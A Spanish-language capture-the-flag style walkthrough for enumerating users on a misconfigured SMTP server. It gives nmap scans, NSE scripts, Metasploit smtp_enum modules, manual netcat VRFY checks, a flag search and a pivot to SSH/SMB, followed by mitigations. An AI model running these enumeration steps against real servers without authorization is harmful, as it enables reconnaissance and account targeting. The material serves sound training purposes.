Vulnerable SMTP Server
Enumeración y explotación de un servidor SMTP mal configurado
Objetivo: Explotar un servidor SMTP mal configurado, enumerando usuarios con VRFY/EXPN y pivotando a otro servicio para obtener la flag.
¿Qué es SMTP y por qué expone información?
SMTP (Simple Mail Transfer Protocol) opera en el puerto 25. Los comandos VRFY y EXPN en servidores mal configurados revelan usuarios del sistema.
Atención: Muchos servidores modernos deshabilitan VRFY y EXPN, pero siguen siendo frecuentes en entornos legacy y laboratorios.
1. Identificación del objetivo
cat /root/Desktop/target2. Escaneo de puertos
nmap -sS -sV -p 25 <IP>Confirma que el puerto 25/TCP está abierto y muestra versión del servidor (Postfix, Sendmail, Exim…) y banner de bienvenida.
3. Enumeración de comandos SMTP
nmap --script smtp-commands -p 25 <IP>Lista todos los comandos soportados. Si aparecen VRFY o EXPN, la enumeración de usuarios es posible.
nmap --script smtp-enum-users -p 25 --script-args smtp-enum-users.methods=VRFY <IP>Automatiza la verificación de usuarios con VRFY.
4. Enumeración con Metasploit
msfconsole -q
use auxiliary/scanner/smtp/smtp_version
set RHOSTS <IP>
exploituse auxiliary/scanner/smtp/smtp_enum
set RHOSTS <IP>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
exploitsmtp_enum prueba usuarios con VRFY, EXPN y RCPT TO automáticamente.
5. Validación manual con Netcat
nc <IP> 25
HELO test
VRFY root
VRFY administrator
QUITRespuesta 252 o 250 = usuario válido; 550 = no existe.
6. Obtención de la flag
find / -name flag* 2>/dev/null
cat /ruta/de/la/flagFlujo del ataque
1
Reconocimiento: nmap -sS -sV -p 25
2
Enumeración de comandos: smtp-commands NSE
3
Enumeración de usuarios: smtp-enum-users o smtp_enum
4
Validación manual: nc + VRFY
5
Pivoting: SSH/SMB con usuario válido
6
Objetivo final: find + cat flag
Conceptos clave
| Concepto | Descripción |
|---|---|
VRFY | Verifica si un usuario existe en el servidor |
EXPN | Expande alias y listas de distribución |
smtp_enum | Módulo MSF para enumerar usuarios automáticamente |
Pivoting | Usar info de un servicio para comprometer otro |
Mitigación: Deshabilitar VRFY/EXPN, implementar SPF/DKIM/DMARC, autenticación SMTP y TLS.